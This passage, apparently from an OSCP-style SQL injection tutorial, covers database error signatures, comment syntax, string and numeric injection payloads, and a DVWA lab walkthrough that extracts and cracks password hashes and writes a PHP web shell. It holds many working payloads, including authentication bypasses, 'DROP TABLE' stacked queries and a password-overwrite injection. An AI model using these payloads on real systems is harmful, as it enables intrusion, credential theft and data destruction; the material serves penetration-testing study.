Error: Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Line 1: Incorrect syntax near '''.

Reveals: MSSQL, ODBC driver version, string context

Conversion Error (Numeric Context)

Input: abc (when numeric expected)
Error: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC Driver 17 for SQL Server][SQL Server]
Conversion failed when converting the varchar value 'abc' to data type int.

Reveals: MSSQL, numeric context (no quotes needed for injection)

Object Not Found

Input: 1; SELECT * FROM nonexist--
Error: Invalid object name 'nonexist'.

Reveals: Multi-statement support, table doesn’t exist

MSSQL Version Detection via Errors

-- Trigger version disclosure
1; SELECT @@version--

-- Check for xp_cmdshell availability
1; EXEC xp_cmdshell 'whoami'--
Error: SQL Server blocked access to procedure 'xp_cmdshell'...
→ Reveals xp_cmdshell exists but is disabled (can potentially re-enable)

MSSQL Error-Based Extraction

-- Convert error (force data type conversion to leak data)
AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))
Error: Conversion failed when converting the varchar value 'admin' to data type int.
→ Reveals: username = 'admin'

-- Via ERROR() function (SQL Server 2005+)
; THROW 50000, (SELECT TOP 1 password FROM users), 1--

7.3 PostgreSQL Error Signatures

Syntax Error

Input: '
Error: ERROR: syntax error at or near """ at character 53
SQL state: 42601
Character: 53

Reveals: PostgreSQL, exact character position, string context

Column Type Mismatch

Input: 1 UNION SELECT 'abc',2-- (when first column is integer)
Error: ERROR: column "column1" is of type integer but expression is of type character varying
LINE 1: SELECT * FROM products WHERE id=1 UNION SELECT 'abc',2
HINT: You will need to rewrite or cast the expression.

Reveals: PostgreSQL, column data types, helps with UNION column matching

Function-Based Extraction

-- Quote identification error
AND 1=(SELECT quote_ident(username) FROM users LIMIT 1)
Error: ERROR: invalid input syntax for type integer: "admin"

-- Table does not exist
AND (SELECT 1 FROM nonexist)
Error: ERROR: relation "nonexist" does not exist
LINE 1: SELECT * FROM products WHERE id=1 AND (SELECT 1 FROM nonexist)

PostgreSQL Version Detection

-- Version in error context
UNION SELECT version(),2,3--
→ Returns: PostgreSQL 13.4 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, 64-bit

7.4 Oracle Error Signatures

Syntax Error

Input: '
Error: ORA-00933: SQL command not properly ended

Reveals: Oracle database, syntax error

Column Count Mismatch

Input: 1 UNION SELECT 1,2 FROM dual--
Error: ORA-00913: too many values

Reveals: Oracle, UNION supported, wrong column count

Conversion Error

Input: abc (when numeric expected)
Error: ORA-01722: invalid number

Reveals: Oracle, numeric context

Oracle-Specific Errors

-- No such table
1; SELECT * FROM nonexist--
Error: ORA-00942: table or view does not exist

-- Invalid column
1 AND nonexist=1--
Error: ORA-00904: "NONEXIST": invalid identifier

-- Privilege insufficient
1; SELECT * FROM sys.user$--
Error: ORA-00942: table or view does not exist
(Oracle hides system tables rather than saying "access denied")

Oracle Version Detection

-- Banner table
UNION SELECT banner,2,3 FROM v$version--

-- If no access to v$version, use error-based
AND (SELECT version FROM v$instance)='x'
Error: ORA-01722: invalid number
(Confirms v$instance exists)

Error Signature Comparison Table

Database Syntax Error Version Error Numeric Conversion Key Identifier
MySQL “You have an error in your SQL syntax” “MySQL server version” “Incorrect integer value” “MySQL server version”
MSSQL “Incorrect syntax near” @@version in error “Conversion failed when converting” “Microsoft OLE DB” / “SQL Server”
PostgreSQL “syntax error at or near” version() function “invalid input syntax for type” “SQL state: 42601”
Oracle “ORA-00933: SQL command not properly ended” v$version table “ORA-01722: invalid number” “ORA-” error codes

When Errors Are Suppressed

If the application catches and suppresses database errors, you’ll see:

Application Behavior What You See What to Do
Generic error page “An error occurred” Switch to blind SQLi techniques
Custom error message “Invalid input” Try time-based blind SQLi
Error logged but not shown Normal page, no change Time-based blind is your only option
Partial error shown Stack trace without DB error Look for other info leaks

8. Comment Techniques Across Databases

Comments are essential in SQL injection to neutralize the remaining parts of the original query after your injection.

Comment Syntax Comparison

Comment Type MySQL MSSQL PostgreSQL Oracle
-- (double dash + space) ✅ ✅ ✅ ✅
# (hash) ✅ ❌ ❌ ❌
/* */ (block comment) ✅ ✅ ✅ ✅
; (statement terminator) ✅ ✅ ✅ ❌*
-- (no trailing space) ⚠️ ⚠️ ⚠️ ⚠️

Oracle requires / on a new line to terminate statements in SQLPlus, but ; works in most application contexts.

How Each Comment Type Works

Double Dash (-- )

-- Syntax: -- followed by a SPACE (or any whitespace)
-- Everything after -- on the same line is commented out

Example injection:
Input: admin' --
Query: SELECT * FROM users WHERE username = 'admin' --' AND password = 'x'

What executes:
SELECT * FROM users WHERE username = 'admin'
-- The rest is a comment

Critical: In MySQL and PostgreSQL, -- MUST be followed by a space or whitespace character. -- without a space may NOT work as a comment.

URL-encoded: %20--%20 or --%20

Hash (#)

-- MySQL ONLY
-- Everything after # on the same line is commented out

Example injection:
Input: admin'#
Query: SELECT * FROM users WHERE username = 'admin'#' AND password = 'x'

What executes:
SELECT * FROM users WHERE username = 'admin'

OSCP Tip: # is MySQL-specific. If # works but -- doesn’t, you’re likely on MySQL. If neither works, try /* */.

URL-encoded: %23

Block Comment (/* */)

-- Works in ALL major databases
-- Comments out everything between /* and */

Example injection:
Input: admin'/*
Query: SELECT * FROM users WHERE username = 'admin'/*' AND password = 'x'

What executes:
SELECT * FROM users WHERE username = 'admin'
-- Everything after /* is commented until */ is found (or end of query)

Use case: When you need to comment out content that spans multiple lines, or when -- and # are filtered.

URL-encoded: /**/

Comment Technique Decision Flow

Need to comment out remaining query?
│
├── MySQL detected?
│   ├── YES → Try '#' first (shortest, cleanest)
│   │         If filtered → Try '-- ' (with space)
│   │         If filtered → Try '/*'
│   └── NO
│
├── MSSQL detected?
│   ├── YES → Try '-- ' (with space)
│   │         If filtered → Try '/*'
│   └── NO
│
├── PostgreSQL detected?
│   ├── YES → Try '-- ' (with space)
│   │         If filtered → Try '/*'
│   └── NO
│
├── Oracle detected?
│   ├── YES → Try '-- ' (with space)
│   │         If filtered → Try '/*'
│   └── NO
│
└── Database unknown?
    ├── Try '-- ' first (universal)
    ├── If that fails, try '#' (MySQL indicator)
    └── If that fails, try '/*' (universal fallback)

Common Comment Pitfalls

Pitfall Problem Solution
-- without trailing space MySQL/PostgreSQL may not treat as comment Always use -- (with space) or --%20
# on non-MySQL Hash is not a comment in MSSQL/PostgreSQL/Oracle Use -- or /* */ instead
/* without closing */ Comments out to end of query — fine for injection, but can cause issues in some contexts Usually fine for attack purposes
URL encoding issues -- may need encoding as --%20 Always URL-encode spaces after --
WAF filtering comments Some WAFs block --, #, /* Try alternative: ;%00, stacked queries, or no comment if context allows

9. String vs Numeric Context Injection

The context in which your input appears dramatically changes the injection syntax.

String Context

Your input is wrapped in single quotes by the application:

$query = "SELECT * FROM products WHERE name = '$input'";

Injection Requirements

Step Action Example
1 Close the existing string '
2 Inject your SQL OR '1'='1
3 Comment out the rest --
Full payload ' OR '1'='1' --

String Context Payloads

-- Authentication bypass
' OR '1'='1' --

-- UNION-based extraction
' UNION SELECT username,password,3 FROM users--

-- Boolean blind
' AND SUBSTRING(version(),1,1)='5' --

-- Time-based blind
' AND SLEEP(5)--

Numeric Context

Your input is NOT wrapped in quotes:

$query = "SELECT * FROM products WHERE id = $input";

Injection Requirements

Step Action Example
1 No need to close string (none)
2 Inject your SQL directly OR 1=1
3 Comment out the rest (optional) --
Full payload 1 OR 1=1--

Numeric Context Payloads

-- Authentication bypass
1 OR 1=1--

-- UNION-based extraction
1 UNION SELECT username,password,3 FROM users--

-- Boolean blind
1 AND ASCII(SUBSTRING(version(),1,1))=53--

-- Time-based blind
1 AND SLEEP(5)--

-- Stacked queries (if supported)
1; DROP TABLE users--

Key Differences Summary

Aspect String Context Numeric Context
Query template WHERE col = '$input' WHERE col = $input
Must close quote? YES — start with ' NO
Boolean bypass ' OR '1'='1' -- 1 OR 1=1--
UNION injection ' UNION SELECT ...-- 1 UNION SELECT ...--
String functions Need to handle quote context Can use strings freely
Error trigger ' causes syntax error abc causes conversion error
Common in Search, login, name fields ID parameters, sort, limit

Detecting Context Type

Method 1: Single Quote Test

String context:  Input ' → SQL syntax error (unmatched quote)
Numeric context: Input ' → May cause error or be ignored

Method 2: Non-Numeric Input Test

String context:  Input abc → No error (valid string)
Numeric context: Input abc → Conversion error

Method 3: Boolean Test

String context:  ' AND '1'='1 → Works
                 ' AND '1'='2 → Different result
Numeric context: 1 AND 1=1 → Works
                 1 AND 1=2 → Different result

Mixed Context Examples

ORDER BY Clause (No Quotes, No Comparison)

$query = "SELECT * FROM products ORDER BY $sort";
Input: price DESC; DROP TABLE users--
Input: (SELECT password FROM users LIMIT 1)  → Causes error, leaks data

INSERT Statement

$query = "INSERT INTO logs (ip, action, timestamp) VALUES ('$ip', '$action', NOW())";
String context for both $ip and $action:
Input for $action: '; DROP TABLE logs;--

Constructed:
INSERT INTO logs (ip, action, timestamp) VALUES ('1.2.3.4', '; DROP TABLE logs;--', NOW())

UPDATE Statement

$query = "UPDATE users SET email = '$email' WHERE id = $id";
$id is numeric, $email is string:
Input for $email: ' WHERE id=1; UPDATE users SET password='hacked' WHERE id=1--

Constructed:
UPDATE users SET email = '' WHERE id=1; UPDATE users SET password='hacked' WHERE id=1--' WHERE id = 5

10. Practical Lab Walkthrough

Scenario: DVWA SQL Injection (Low Security)

Target: http://10.10.10.120/vulnerabilities/sqli/?id=1&Submit=Submit#

Vulnerable Code:

$id = $_REQUEST['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>');

Step 1: Initial Reconnaissance

# Access the page with normal input
http://10.10.10.120/vulnerabilities/sqli/?id=1&Submit=Submit#

# Response shows:
# First name: admin
#Surname: admin

Step 2: Test for Vulnerability — Single Quote

http://10.10.10.120/vulnerabilities/sqli/?id=1'&Submit=Submit#

# Response:
# You have an error in your SQL syntax; check the manual that corresponds
# to your MySQL server version for the right syntax to use near ''1'' at line 1

Analysis:

  • ✅ MySQL database confirmed
  • ✅ String context (quote caused syntax error)
  • ✅ Errors are displayed (error-based extraction possible)

Step 3: Determine Column Count

# Test with ORDER BY
http://10.10.10.120/vulnerabilities/sqli/?id=1 ORDER BY 1--&Submit=Submit#
→ Works (shows normal result)

http://10.10.10.120/vulnerabilities/sqli/?id=1 ORDER BY 2--&Submit=Submit#
→ Works

http://10.10.10.120/vulnerabilities/sqli/?id=1 ORDER BY 3--&Submit=Submit#
→ ERROR: Unknown column '3' in 'order clause'

Result: Query returns 2 columns.

Step 4: Test UNION Compatibility

http://10.10.10.120/vulnerabilities/sqli/?id=1 UNION SELECT 1,2--&Submit=Submit#

# Response shows:
# First name: 1
# Surname: 2

Result: UNION works, both columns are visible in the output.

Step 5: Extract Database Information

# Get database version
http://10.10.10.120/vulnerabilities/sqli/?id=1 UNION SELECT version(),2--&Submit=Submit#
→ First name: 5.7.32-0ubuntu0.18.04.1

# Get current user
http://10.10.10.120/vulnerabilities/sqli/?id=1 UNION SELECT user(),2--&Submit=Submit#
→ First name: root@localhost

# Get current database
http://10.10.10.120/vulnerabilities/sqli/?id=1 UNION SELECT database(),2--&Submit=Submit#
→ First name: dvwa

Step 6: Enumerate Tables

# Get all table names in current database
http://10.10.10.120/vulnerabilities/sqli/?id=1 UNION SELECT
table_name,2 FROM information_schema.tables
WHERE table_schema='dvwa'--&Submit=Submit#

# Results (one at a time, or use GROUP_CONCAT):
http://10.10.10.120/vulnerabilities/sqli/?id=1 UNION SELECT
GROUP_CONCAT(table_name),2 FROM information_schema.tables
WHERE table_schema='dvwa'--&Submit=Submit#

→ First name: guests,users

Step 7: Enumerate Columns in ‘users’ Table

http://10.10.10.120/vulnerabilities/sqli/?id=1 UNION SELECT
GROUP_CONCAT(column_name),2 FROM information_schema.columns
WHERE table_name='users'--&Submit=Submit#

→ First name: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

Step 8: Extract User Credentials

# Extract all usernames and passwords
http://10.10.10.120/vulnerabilities/sqli/?id=1 UNION SELECT
GROUP_CONCAT(user,0x3a,password),2 FROM users--&Submit=Submit#

→ First name: admin:5f4dcc3b5aa765d61d8327deb882cf99,
gordonb:e99a18c428cb38d5f260853678922e03,
1337:8d3533d75ae2c3966d7e0d4fcc69216b,
pablo:0d107d09f5bbe4053267dc44dc8262ac,
smithy:5f4dcc3b5aa765d61d8327deb882cf99

Step 9: Crack Hashes

# The passwords are MD5 hashes
# Crack using hashcat or online tools

echo "5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# Results:
# admin:password
# gordonb:abc123
# 1337:charley
# pablo:letmein
# smithy:password

Step 10: Attempt OS Command Execution

# Check secure_file_priv
http://10.10.10.120/vulnerabilities/sqli/?id=1 UNION SELECT
@@global.secure_file_priv,2--&Submit=Submit#

→ If NULL: File operations are completely restricted
→ If '': File operations allowed anywhere
→ If '/tmp/': File operations only in /tmp/

# If file write is possible, write a PHP web shell
http://10.10.10.120/vulnerabilities/sqli/?id=1 UNION SELECT
'<?php system($_GET["cmd"]); ?>',2 INTO OUTFILE
'/var/www/html/shell.php'--&Submit=Submit#

# Access the shell
http://10.10.10.120/shell.php?cmd=id

Complete Attack Timeline

Time    Action                                    Result
────    ──────                                    ──────
0:00    Access page with id=1                     Normal user display
0:01    Test id=1'                                MySQL error → SQLi confirmed
0:02    Test ORDER BY 1,2,3                       2 columns identified
0:03    Test UNION SELECT 1,2                     UNION works, both columns visible
0:04    UNION SELECT version(),2                  MySQL 5.7.32
0:05    UNION SELECT user(),2                     root@localhost
0:06    UNION SELECT database(),2                 dvwa
0:07    Enumerate tables                          guests, users
0:08    Enumerate user columns                    user_id, first_name, ..., password
0:09    Extract credentials                       5 users with MD5 hashes
0:10    Crack MD5 hashes                          All passwords cracked
0:11    Check secure_file_priv                    Assess file write capability
0:12    Write web shell (if possible)             OS command execution achieved

Key Takeaways from This Walkthrough

  1. Single quote test is the fastest way to confirm SQLi — always start here
  2. ORDER BY is the quickest way to find column count — binary search for efficiency
  3. UNION SELECT 1,2,… confirms UNION compatibility and shows which columns are displayed
  4. information_schema is your best friend — it contains the complete database structure
  5. GROUP_CONCAT lets you extract multiple values in one query — saves time
  6. MD5 hashes are easily cracked — always check for weak password hashing
  7. Root database user is a critical finding — maximum privilege for further exploitation

Quick Reference Card

Injection Payloads by Type

┌─────────────────────────────────────────────────────────────────────────────┐
│                        SQL INJECTION QUICK REFERENCE                         │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  DETECTION:                                                                  │
│  String:  '                         → Syntax error?                          │
│  Numeric: abc                       → Conversion error?                      │
│  Boolean: 1 AND 1=1 / 1 AND 1=2    → Different outputs?                     │
│  Time:    1 AND SLEEP(5)           → Delayed response?                       │
│                                                                             │
│  STRING CONTEXT PAYLOADS:                                                    │
│  Bypass:   ' OR '1'='1' --                                                │
│  UNION:    ' UNION SELECT 1,2,3--                                          │
│  Blind:    ' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))>64 -- │
│  Time:     ' AND SLEEP(5)--                                                │
│                                                                             │
│  NUMERIC CONTEXT PAYLOADS:                                                   │
│  Bypass:   1 OR 1=1--                                                      │
│  UNION:    1 UNION SELECT 1,2,3--                                          │
│  Blind:    1 AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))>64 -- │
│  Time:     1 AND SLEEP(5)--                                                │
│                                                                             │
│  DATABASE ENUMERATION:                                                       │
│  MySQL:    UNION SELECT version(),user(),database(),4--                     │
│  MSSQL:    UNION SELECT @@version,SYSTEM_USER,DB_NAME(),4--                 │
│  PgSQL:    UNION SELECT version(),current_user,current_database(),4--       │
│  Oracle:   UNION SELECT banner,2,3 FROM v$version--                         │
│                                                                             │
│  COMMENTS:                                                                   │
│  MySQL:    --  (space)   #    /* */                                         │
│  MSSQL:    --  (space)        /* */                                         │
│  PgSQL:    --  (space)        /* */                                         │
│  Oracle:   --  (space)        /* */                                         │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Summary

SQL injection works because applications concatenate user input into SQL query strings, and the database engine cannot distinguish between intended code and injected code. The attack lifecycle follows seven phases: reconnaissance, probing, enumeration, data extraction, OS command execution, privilege escalation, and pivoting.

Key concepts to master:

  • String vs numeric context determines your injection syntax
  • Single quote testing is the fastest vulnerability confirmation method
  • Error messages reveal database type, version, and structure
  • UNION-based injection is the most versatile extraction technique
  • Comment techniques vary by database — know -- , #, and /* */
  • Parameterized queries are the only reliable defense — they separate code from data at the driver level

For OSCP, focus on manual identification and exploitation of SQL injection in string and numeric contexts, with emphasis on UNION-based and error-based techniques against MySQL and MSSQL databases.